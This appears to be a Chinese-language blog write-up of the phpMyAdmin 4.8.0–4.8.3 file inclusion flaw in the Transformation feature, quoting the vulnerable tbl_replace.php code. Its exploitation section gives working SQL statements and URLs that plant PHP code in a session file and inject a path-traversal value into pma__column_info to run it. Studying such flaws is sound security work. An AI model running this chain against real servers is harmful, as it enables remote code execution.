2018年12月7日,phpmyadmin官方发布公告修复了一个由Transformation
特性引起的任意文件包含漏洞。
漏洞分析
Transformation
是phpMyAdmin中的一个高级功能,通过Transformation
可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段Filename
,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation
我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。
通常情况下Transformation的规则存储在每个数据库的pma__column_info
表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。
这些转换在phpMyAdmin的column_info
表中定义,他通常已经存在于phpMyAdmin的系统表中。但是每个数据库都可以生成自己的版本。要为特定数据库生成phpmyadmin系统表,可以这样生成
1http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*
它将会创建一个pma__*
表的集合到你数据库中。
说了这么多,我们来看下具体产生漏洞的代码tbl_replace.php
1<?php
2
3$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
4[省略]
5// Apply Input Transformation if defined
6if (!empty($mime_map[$column_name])
7&& !empty($mime_map[$column_name]['input_transformation'])
8) {
9 $filename = 'libraries/classes/Plugins/Transformations/'
10. $mime_map[$column_name]['input_transformation'];
11 if (is_file($filename)) {
12 include_once $filename;
13 $classname = Transformations::getClassName($filename);
14 /** @var IOTransformationsPlugin $transformation_plugin */
15 $transformation_plugin = new $classname();
16 $transformation_options = Transformations::getOptions(
17 $mime_map[$column_name]['input_transformation_options']
18 );
19 $current_value = $transformation_plugin->applyTransformation(
20 $current_value, $transformation_options
21 );
22 // check if transformation was successful or not
23 // and accordingly set error messages & insert_fail
24 if (method_exists($transformation_plugin, 'isSuccess')
25&& !$transformation_plugin->isSuccess()
26) {
27 $insert_fail = true;
28 $row_skipped = true;
29 $insert_errors[] = sprintf(
30 __('Row: %1$s, Column: %2$s, Error: %3$s'),
31 $rownumber, $column_name,
32 $transformation_plugin->getError()
33 );
34 }
35 }
36}
拼接到$filename
的变量$mime_map[$column_name]['input_transformation']
来自于数据表pma__column_info
中的input_transformation
字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。
漏洞利用
- 创建一个新的数据库
foo
和一个随机的bar
表,在表中创建一个baz
字段,然后把我们的php代码写入session
1CREATE DATABASE foo;
2CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
3INSERT INTO foo.bar SELECT '<?php phpinfo() ?>';
创建phpmyadmin系统表在你的
foo
数据库中1http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
将篡改后的
Transformation
数据插入表pma__columninfo
中:将yourSessionId
替换成你的会话ID,即COOKIE中phpMyAdmin的值1 INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop', 2'plop', 'plop', 'plop', 3'../../tmp/sess_{yourSessionId}','plop';
然后访问
1http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
如果利用成功,则会返回
phpinfo();
评论